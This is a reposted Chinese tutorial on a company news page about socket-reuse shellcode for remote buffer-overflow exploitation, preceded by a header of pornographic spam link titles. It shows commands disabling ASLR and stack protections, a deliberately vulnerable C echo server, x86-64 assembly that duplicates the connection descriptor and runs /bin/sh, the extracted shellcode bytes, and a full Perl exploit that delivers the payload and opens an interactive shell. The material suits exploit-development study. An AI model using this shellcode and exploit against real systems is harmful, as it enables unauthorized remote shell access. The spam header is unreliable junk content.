日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
遠(yuǎn)程漏洞利用:無需借助套接字的Shellcode

前言

在本文中,我將介紹一種優(yōu)雅的技術(shù),來獲得一個shell訪問易受攻擊的遠(yuǎn)程機(jī)器。雖然這個技術(shù)不是我發(fā)明的,但我發(fā)現(xiàn)它的確很有趣,所以本文的重點(diǎn)是這種技術(shù)本身,而不是利用漏洞的具體方式。

設(shè)置環(huán)境

為了專注于遠(yuǎn)程shell代碼本身,而不是把精力用在如何規(guī)避ASLR、非可執(zhí)行堆棧等防御措施上面,我們將禁用這些安全功能。一旦熟悉了獲取shellcode的方法,可以重新啟用這些保護(hù)措施,以進(jìn)一步練習(xí)如何突破這些安全設(shè)置。因此,這是一個非常有趣的練習(xí),如果你想練手的話。

首先,我們將禁用ASLR。為此,可以使用以下命令:

 
 
 
 
  1. echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

這些設(shè)置都是臨時性質(zhì)的,在下次重新啟動時會全部還原。如果你想要在不重新啟動機(jī)器的情況下立即還原所有設(shè)置的話,可以使用如下所示的命令:

 
 
 
 
  1. echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

為了禁用其余的安全功能,我們可以使用以下選項來編譯帶有安全漏洞的服務(wù)器:

 
 
 
 
  1. -fno-stack-protector -z execstack

這些選項會禁用堆棧的canarie保護(hù),并賦予堆棧執(zhí)行權(quán)限。這樣的話,我們就得到了一個非常容易利用的環(huán)境。

帶有安全漏洞的服務(wù)

現(xiàn)在,讓我們編寫一個帶有緩沖區(qū)溢出漏洞的小型回顯服務(wù)器,這樣我們就可以遠(yuǎn)程利用它了。這個程序很簡單,你能發(fā)現(xiàn)代碼中的緩沖區(qū)溢出漏洞嗎? 你當(dāng)然可以。

 
 
 
 
  1. #include 
  2. #include 
  3.   
  4. #include 
  5. #include 
  6. #include 
  7.   
  8. int
  9. process_request (int s1, char *reply)
  10. {
  11.   char result[256];
  12.   
  13.   strcpy (result, reply);
  14.   write (s1, result, strlen(result));
  15.   printf ("Result: %p\n", &result);
  16.   return 0;
  17. }
  18.   
  19. int
  20. main (int argc, char *argv[])
  21. {
  22.   struct sockaddr_in   server, client;
  23.   socklen_t            len = sizeof (struct sockaddr_in);
  24.   int                  s,s1, ops = 1;
  25.   char                 reply[1024];
  26.   
  27.   server.sin_addr.s_addr = INADDR_ANY;
  28.   server.sin_family = AF_INET;
  29.   server.sin_port = htons(9000);
  30.   
  31.   s = socket (PF_INET, SOCK_STREAM, 0);
  32.   if ((setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0)
  33.     perror ("pb_server (reuseaddr):");
  34.   bind (s, (struct sockaddr *) &server, sizeof (server));
  35.   listen (s, 10);
  36.   
  37.   while (1)
  38.     {
  39.       s1 = accept (s, (struct sockaddr *)&client, &len);
  40.       printf ("Connection from %s\n", inet_ntoa (client.sin_addr));
  41.       memset (reply, 0, 1024);
  42.       read (s1, reply, 1024);
  43.       process_request (s1, reply);
  44.       close (s1);
  45.     }
  46.   return 0;
  47. }

很好,下面我們就來編譯它,讓它變成一個最容易利用的服務(wù)器:

 
 
 
 
  1. gcc -g -fno-stack-protector -z execstack -o target target.c

下面,我們來展示它的脆弱性。在一個終端運(yùn)行這個帶有安全漏洞的服務(wù)器,然后在另一個終端運(yùn)行下列命令:

 
 
 
 
  1. $ perl -e 'print "A"x1024;' | nc localhost 9000

在運(yùn)行服務(wù)器的終端中,我們將會看到如下所示的內(nèi)容:

 
 
 
 
  1. $  ./target
  2. Connection from 127.0.0.1
  3. Result: 0x7fffffffdbf0
  4. Segmentation fault (core dumped)

注意,我已經(jīng)添加了打印局部變量的地址的語句,從而可以驗證ASLR是否被禁用。每次執(zhí)行這個二進(jìn)制代碼的時候,應(yīng)該總是看到相同的數(shù)字(當(dāng)然,如果你修改了這個程序,數(shù)字就會隨之改變)。

現(xiàn)在,我們可以拿這個程序來練手,學(xué)習(xí)如何使用各種觸手可及的shellcode來獲取一個本地shell。盡管這個練習(xí)非常簡單,但是我們建議您至少要練習(xí)一次。具體過程本文不作詳細(xì)介紹,因為關(guān)于緩沖區(qū)溢出漏洞利用的教程,在網(wǎng)絡(luò)上面數(shù)不勝數(shù)。

遠(yuǎn)程Shell

下面我們介紹如何獲取遠(yuǎn)程shell。注意,這里的關(guān)鍵在于“遠(yuǎn)程”。這意味著在易受攻擊的機(jī)器和攻擊者之間,隔著一個網(wǎng)絡(luò)?;蛘邠Q句話說,我們必須通過一些套接字來發(fā)送/接收數(shù)據(jù)。根據(jù)這一要求,有兩種方式可以用來獲得遠(yuǎn)程shell:

如果你的shellcode創(chuàng)建一個服務(wù)器套接字來啟用來自外部的連接請求,并從本地shell發(fā)送和接收數(shù)據(jù) ...那么,這就是一個直接遠(yuǎn)程shell。

如果你的shellcode連接回一個預(yù)先指定的主機(jī),并且這個主機(jī)上運(yùn)行的服務(wù)器軟件正在等待受害者的連接...那么,這就這是一個反向遠(yuǎn)程shell。

關(guān)于這兩種遠(yuǎn)程shell的詳細(xì)信息,請訪問https://0x00sec.org/t/remote-shells-part-i/269。

看到這兩個定義后,你可能會聯(lián)想到RHOST/RPORT之類的變量....是的,它們可以用來告訴payload連接的主機(jī)地址和相應(yīng)的端口。對于反向shell來說,您必須將這些信息存放到payload中,以便連接回來。對于直接shell你通常需要定義端口,服務(wù)器就會等待連接。

但是,至少對于Unix機(jī)器來說,還有第三種選擇。

連接復(fù)用

當(dāng)執(zhí)行遠(yuǎn)程漏洞利用代碼時,為了利用此漏洞,您已經(jīng)連接到了服務(wù)器...所以,為什么不重用這個已經(jīng)建立好的連接呢?這真是一個不錯的想法,因為它不會顯示任何會引起受害者懷疑的東西,例如來自服務(wù)器未知服務(wù)的開放端口等。

實現(xiàn)這一點(diǎn)的方法也非常巧妙。它是基于這樣的事實,即系統(tǒng)是按順序分配文件描述符的。知道了這一點(diǎn),我們就可以在建立連接之后立即復(fù)制一個當(dāng)前文件的描述符,除非服務(wù)器的負(fù)載很重,否則我們得到的文件描述符等于用于我們連接的套接字的文件描述符+1,這樣很容易就能知道我們的連接的文件描述符了。

一旦知道了當(dāng)前連接的文件描述符,我們只需要將它復(fù)制到文件描述符0、1和2(stdin、stdout和stderr),就可以生成一個shell了。這樣一來,該shell的所有輸入/輸出都會被重定向到我們的套接字了。

還不明白嗎?肯定沒讀過https://0x00sec.org/t/remote-shells-part-i/269頁面上的文章吧?不過沒關(guān)系,現(xiàn)在去看也不晚。

相應(yīng)的C代碼如下所示:

 
 
 
 
  1. int sck = dup (0) - 1; // Duplicate stdin
  2. dup2 (sck, 0);
  3. dup2 (sck, 1);
  4. dup2  (sck, 2);
  5. execv ("/bin/sh", NULL);

看...根本就沒有使用套接字代碼!如果我們把它變成一個shellcode,并且設(shè)法利用遠(yuǎn)程服務(wù)器的漏洞來運(yùn)行該代碼,我們就能夠獲得一個shell來訪問遠(yuǎn)程機(jī)器,而這個shell所使用的連接,正好就是原來向遠(yuǎn)程服務(wù)器投遞利用代碼的那個連接。

當(dāng)然,也你已經(jīng)注意到這種技術(shù)存在一些缺點(diǎn)。就像我們所提到的那樣,如果服務(wù)器比較繁忙的話(同時建立許多連接),這種方法就很難奏效了。此外,正常的服務(wù)器會在變成守護(hù)進(jìn)程之前關(guān)閉所有的文件描述符,因此我們可能需要嘗試使用其他值來推測文件描述符。

這個技術(shù)是前一段時間跟@_py進(jìn)行討論的時候,由他想出來的。我們當(dāng)時檢查的原始代碼可以在這里找到:

 
 
 
 
  1. http://shell-storm.org/shellcode/files/shellcode-881.php4

但是,這是一個32位代碼,所以我重新制作了對應(yīng)的64位版本,以及一個運(yùn)行漏洞利用代碼的Perl腳本。

64位版本的Shellcode

下面的代碼您就將就著看吧(我這才發(fā)現(xiàn)自己的匯編技能真是生銹了),不過它確實可以正常運(yùn)行,并且只比原來的32bits版本長了3個字節(jié)。我的64位版本的Shellcode如下所示:

 
 
 
 
  1. section .text
  2. global _start
  3. _start:
  4.          ;; s = Dup (0) - 1
  5.          xor rax, rax
  6.          push rax
  7.          push rax
  8.          push rax
  9.          pop rsi
  10.          pop rdx
  11.          push rax
  12.          pop rdi
  13.          mov al, 32
  14.          syscall                  ; DUP (rax=32) rdi = 0 (dup (0))
  15.   
  16.          dec rax
  17.          push rax
  18.          pop rdi            ; mov rdi, rax  ; dec rdi
  19.   
  20.          ;; dup2 (s, 0); dup2(s,1); dup2(s,2)
  21. loop:        mov al, 33
  22.          syscall                       ; DUP2 (rax=33) rdi=oldfd (socket) rsi=newfd
  23.          inc rsi
  24.          mov rax,rsi
  25.          cmp al, 2          ; Loop 0,1,2 (stdin, stdout, stderr)
  26.           
  27.          jne loop
  28.   
  29.          ;; exec (/bin/sh)
  30.          push    rdx                             ; NULL
  31.          mov qword rdi, 0x68732f6e69622f2f    ; "http://bin/sh"
  32.          push         rdi                              ; command
  33.          push        rsp                     
  34.          pop         rdi                      
  35.           
  36.          push        rdx            ;env
  37.          pop         rsi             ;args
  38.           
  39.         mov     al, 0x3b ;EXEC (rax=0x4b) rdi="/bin/sh" rsi=rdx=
  40.         syscall

對于不太容易理解的地方,我已經(jīng)添加了相應(yīng)的注釋。同時,你可能也注意到了,代碼里使用了許多的push/pop指令,這是因為一個PUSH/POP指令對占用2個字節(jié),而MOV R1,R2指令則需要占用3個字節(jié)。雖然這會代碼變得非常丑,但是卻能節(jié)約一些空間...實際上也沒有節(jié)約太多的地方,所以也算不上一個好主意。無論如何,您可以隨意改進(jìn)它,并歡迎在評論中發(fā)布您自己的版本。

生成Shellcode

現(xiàn)在,我們需要生成相應(yīng)的shellcode,同時,其格式必須適合將其發(fā)送到遠(yuǎn)程服務(wù)器才行。為此,我們首先需要編譯代碼,然后從編譯的文件中提取機(jī)器代碼。編譯代碼非常簡單,具體如下所示:

 
 
 
 
  1. nasm -f elf64 -o rsh.o rsh.asm

當(dāng)然,從目標(biāo)文件中獲取二進(jìn)制數(shù)據(jù)的方法有很多。我們這里使用的方法是生成具有易于添加到Perl或C程序中的格式的字符串。

 
 
 
 
  1. for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

上面的兩個命令將產(chǎn)生以下shellcode:

 
 
 
 
  1. \x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05

接下來,我們就需要開始編寫漏洞利用代碼了。

漏洞利用代碼

目前為止,我們已經(jīng)搭設(shè)了一個帶有遠(yuǎn)程利用漏洞的系統(tǒng)。同時,也了解了如何在低安全環(huán)境中利用緩沖區(qū)溢出漏洞,并生成了一個用于在遠(yuǎn)程系統(tǒng)上運(yùn)行的shellcode?,F(xiàn)在我們需要一個漏洞利用代碼,把所有這些整合起來,從而獲得我們夢寐以求的遠(yuǎn)程shell。

當(dāng)然,編寫漏洞利用代碼的語言有很多,不過這里選用的是自己最熟悉的Perl。

我們的漏洞利用代碼具體如下所示:

 
 
 
 
  1. #!/usr/bin/perl
  2. use IO::Select;
  3. use IO::Socket::INET;
  4. $|=1;
  5.   
  6. print "Remote Exploit Example";
  7. print "by 0x00pf for 0x00sec :)\n\n";
  8.   
  9. # You may need to calculate these magic numbers for your system
  10. $addr = "\x10\xdd\xff\xff\xff\x7f\x00\x00"; 
  11. $off = 264;
  12.   
  13. # Generate the payload
  14. $shellcode = "\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05";
  15.   
  16. $nops = $off - length $shellcode;
  17. $payload = "\x90" x $nops . $shellcode . $addr;
  18.   
  19. $plen = length $payload;
  20. $slen = length $shellcode;
  21. print "SLED $nops Shellcode: $slen Payload size: $plen\n";
  22.   
  23. # Connect
  24. my $socket = new IO::Socket::INET (
  25.     PeerHost => '127.0.0.1',
  26.     PeerPort => '9000',
  27.     Proto => 'tcp',
  28.     );
  29. # Set up select for asynchronous read from the server
  30. $sel = IO::Select->new( $socket );
  31. $sel->add(\*STDIN);
  32.   
  33. # Exploit!
  34. $socket->send ($payload);
  35. $socket->recv ($trash,1024);
  36. $timeout = .1;
  37.   
  38. $flag = 1; # Just to show a prompt
  39.   
  40. # Interact!
  41. while (1) {
  42.     if (@ready = $sel->can_read ($timeout))  {
  43.          foreach $fh (@ready) {
  44.              $flag =1;
  45.              if($fh == $socket) {
  46.                   $socket->recv ($resp, 1024);
  47.                   print $resp;
  48.              }
  49.              else { # It is stdin
  50.                   $line = ;
  51.                   $socket->send ($line);
  52.              }
  53.          }
  54.     }       
  55.     else { # Show the prompt whenever everything's been read
  56.          print "0x00pf]>  " if ($flag);
  57.          $flag = 0;
  58.     }       
  59. }

漏洞利用代碼的開頭部分幾乎是標(biāo)準(zhǔn)式的。接下來,根據(jù)您利用gdb找出的魔法數(shù)字來生成payload(請注意,在您的系統(tǒng)中這些數(shù)字可能會有所不同,這樣的話,這個漏洞利用代碼,在您的系統(tǒng)中,可能就會無法正常工作)。

然后,我們必須針對自己的遠(yuǎn)程shell進(jìn)行一些額外的工作。使用直接和反向shell時,一旦漏洞利用代碼執(zhí)行完畢,我們通常需要使用另一個程序/模塊連接到遠(yuǎn)程機(jī)器,或接收來自遠(yuǎn)程機(jī)器的連接。為此,可以使用netcat或您喜歡的滲透測試平臺,甚至是自己專門編寫的工具...

但是,就本地而言,我們將使用已建立的連接來訪問shell,這個連接就是之前用來發(fā)送payload的那個。所以我添加了一些代碼,用來從stdin讀取命令,并將它們發(fā)送到遠(yuǎn)程服務(wù)器,同時也從遠(yuǎn)程shell讀取數(shù)據(jù)。這些都是些標(biāo)準(zhǔn)的網(wǎng)絡(luò)代碼,實在是沒有什么特別之處。

現(xiàn)在,你可以嘗試一下這個可以獲取遠(yuǎn)程shell的漏洞利用代碼了!

小結(jié)

在本文中,我們討論了一種巧妙地技術(shù),可以隱秘地獲取shell來遠(yuǎn)程訪問易受攻擊的服務(wù)器,并且不需要跟系統(tǒng)提供的套接字API打交道。這使得shellcode的開發(fā)變得更簡單,也使其更簡潔(例如,你可以跟http://shell-storm.org/shellcode/files/shellcode-858.php2提供的代碼比較一番。


當(dāng)前名稱:遠(yuǎn)程漏洞利用:無需借助套接字的Shellcode
文章地址:http://www.5511xx.com/article/dhhgipp.html